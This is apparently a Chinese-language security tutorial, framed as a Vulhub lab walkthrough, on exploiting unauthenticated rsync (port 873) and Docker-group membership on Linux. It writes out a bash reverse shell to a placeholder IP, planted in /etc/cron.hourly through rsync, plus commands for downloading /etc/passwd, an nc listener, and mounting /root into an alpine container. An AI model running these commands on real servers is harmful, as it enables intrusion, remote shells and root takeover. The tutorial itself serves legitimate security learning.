免责声明:本文仅做技术学习与交流...
目录
Rsync(未授权访问)
介绍:
靶场及过程:
提权过程:
Docker 组挂载
原理:
复现:
利用:
具体操作:
1-确定是否有docker服务
2-查看用户是否在docker组里面
3-执行命令
Rsync(未授权访问)
介绍:
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
靶场及过程:
Vulhub - Docker-Compose file for vulnerability environment
借助 Linux 默认计划任务调用/etc/cron.hourly,利用 rsync 连接覆盖.
提权过程:
1、创建一个 nc 文件,内容 #!/bin/bash /bin/bash -i >& /dev/tcp/<IP>/3333 0>&i
2、赋予执行权限: chmod +x nc
3、上传文件覆盖定时任务目录下 rsync -av nc rsync://<IP>:873/src/etc/cron.hourly
3.1、下载文件 rsync -av rsync://<IP>:873/src/etc/passwd ./
4、进行 nc 监听相应的端口
nc -lvnp 3333
rsync rsync://IP:PORT/--src SRC PATH
rsync rsync://IP:PORT/src
--获取到目录结构--可以下载
#下载定时任务:
rsync rsync://IP:PORT/src/etc/crontab./
cat crontab
Docker 组挂载
原理:
普通用户在 docker 组,利用 docker 服务启动镜像挂载目录 .
从而来访问 root 目录、etc 目录等敏感文件来进行权限提升。
复现:
创建用户归类目录,添加到 docker 组.useradd -d /home/test -m test
passwd test
usermod -G docker test
newgrp docker
利用:
docker run -v /root:/mnt -it alpine
主要的作用是:
从 Docker 上面下载 alpine 镜像,然后运行;
-v 将容器外部的目录/root 挂载到容器内部/mnt,
-it 参数进入容器 shell。
具体操作:
1-确定是否有docker服务
docker
--工具探针
2-查看用户是否在docker组里面
groups 用户名
3-执行命令
低用户运行命令--->docker run -v /root:/mnt -it alpine
#可将root目录换为其他目录.
id
ls /mnt/
#mnt目录像root的目录了.